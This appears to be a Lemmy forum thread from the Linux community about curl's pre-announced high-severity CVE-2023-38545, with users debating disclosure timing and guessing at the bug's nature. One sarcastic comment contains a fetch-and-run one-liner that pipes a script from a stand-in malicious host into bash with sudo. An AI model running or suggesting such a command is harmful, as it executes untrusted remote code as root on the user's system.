157
submitted 1 year ago by taaz@biglemmowski.win to c/linux@lemmy.ml

cross-posted from: https://biglemmowski.win/post/224873

Posted on twitter by Curl author Daniel Stenberg - https://nitter.cz/bagder/status/1709103920914526525

We are cutting the release cycle short and will release curl 8.4.0 on October 11, including a fix for a severity HIGH CVE. Buckle up.

... But this time actually the worst security problem found in curl in a long time

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-38545

all 30 comments
sorted by: hot top controversial new old
[-] Espi@lemmy.world 60 points 1 year ago

It's vulnerabilities month or what?

[-] cmnybo@discuss.tchncs.de 49 points 1 year ago

There sure has been a lot of CVE's in the last couple of weeks!

[-] PeWu@lemmy.ml 15 points 1 year ago

For real. One with .webp, one with privilege escalation, and now this.

[-] OsrsNeedsF2P@lemmy.ml 14 points 1 year ago* (last edited 1 year ago)

Canonical has been aggressively expanding their security team, and Levels.fyi showed last quarter that security researchers were some of the highest paid forms of software development.

Doesn't guarantee anything long-term, but there's a few suggestions that security has gotten a larger focus lately.

[-] p03locke@lemmy.dbzer0.com 4 points 1 year ago

Good. There's so much chain of trust in the OSS community that it's hard to keep up with the tens of thousands of libraries that literally hold up the Internet.

It's a shame we discover these critical bugs so late in the process, but at least we discover them at all...

[-] tony@lemmy.hoyle.me.uk 13 points 1 year ago

I'd rather they didn't announce it existed before announcing what it is.. now we've got to sit around for a week potentially knowing the curl command could give someone root access or something.

[-] sun_is_ra@sh.itjust.works 7 points 1 year ago

If they annoubce what is it, attackers could use the bug to exploit systems before people get chance to update.

Though I worry its possible to know what the bug is by reviewing changes in curl source code

[-] LwL@lemmy.world 5 points 1 year ago

The exploit is years old and has been unknown until recently, and they specifically didn't list which versions are affected to avoid making it easier to figure out through code changes.

[-] tony@lemmy.hoyle.me.uk 4 points 1 year ago

So don't announce anything.. keep it quiet until the fixes are ready.

Now potential hackers know there's a flaw there and will be looking for it, and they have clear space to do so before anyone can fix it.

[-] NotSteve_@lemmy.ca 5 points 1 year ago

From what I've heard, it's to give companies time to prep for downtime to patch. If they just released the fix now, companies would have to scramble to deal with unexpected downtime.

I believe package maintainers have also been given the fix early to prepare it for release. That means there's no waiting for Ubuntu or whoever to have the update available.

[-] PowerCrazy@lemmy.ml 5 points 1 year ago

I don't see how a vulnerability in Curl can exist at all unless it's privilege escalation (you don't run curl as root do you?) And if it's not a privilege escalation, then it sounds like it's just a "root user can do things that you can do as root, possibly unintended" which isn't a vulnerability at all.

sudo curl www.badactor.ru/hackme | bash !!!!

[-] nathris@lemmy.ca 14 points 1 year ago

Could be an RCE exploit. Doesn't matter if it's privilege escalation at that point because it can be used to execute a payload that can.

[-] taaz@biglemmowski.win 2 points 1 year ago* (last edited 1 year ago)

To top it of it seems it's also contained in libcurl, and getting RCEd just by doing a request does not sound fun.

[-] PowerCrazy@lemmy.ml -3 points 1 year ago

I'll admit i'm out of my depth about exactly how curl works on the local system, but surely if there is a vulnerability in the "libcurl" library that is much more serious and severe then just saying "curl" is vulnerable.

I'm assuming that libcurl touches a huge amount of the linux network stack.

[-] tony@lemmy.hoyle.me.uk 1 points 1 year ago

They specifically say the high vulnerability one affects the command line tool, not just the library. High implies privilege escalation.. I'm wondering how at this point because it's not setuid and there's really no reason opening a TCP socket could cause it (and if it does, that's a kernel error not curl).

[-] OsrsNeedsF2P@lemmy.ml 8 points 1 year ago

Could be something curl parses that escapes the intended program boundaries. Basically the same way the latest image vulnerabilities affecting iOS, Android and browsers has been happening

this post was submitted on 04 Oct 2023
157 points (98.8% liked)

Linux

48058 readers
1073 users here now

From Wikipedia, the free encyclopedia

Linux is a family of open source Unix-like operating systems based on the Linux kernel, an operating system kernel first released on September 17, 1991 by Linus Torvalds. Linux is typically packaged in a Linux distribution (or distro for short).

Distributions include the Linux kernel and supporting system software and libraries, many of which are provided by the GNU Project. Many Linux distributions use the word "Linux" in their name, but the Free Software Foundation uses the name GNU/Linux to emphasize the importance of GNU software, causing some controversy.

Rules

Related Communities

Community icon by Alpár-Etele Méder, licensed under CC BY 3.0

founded 5 years ago
MODERATORS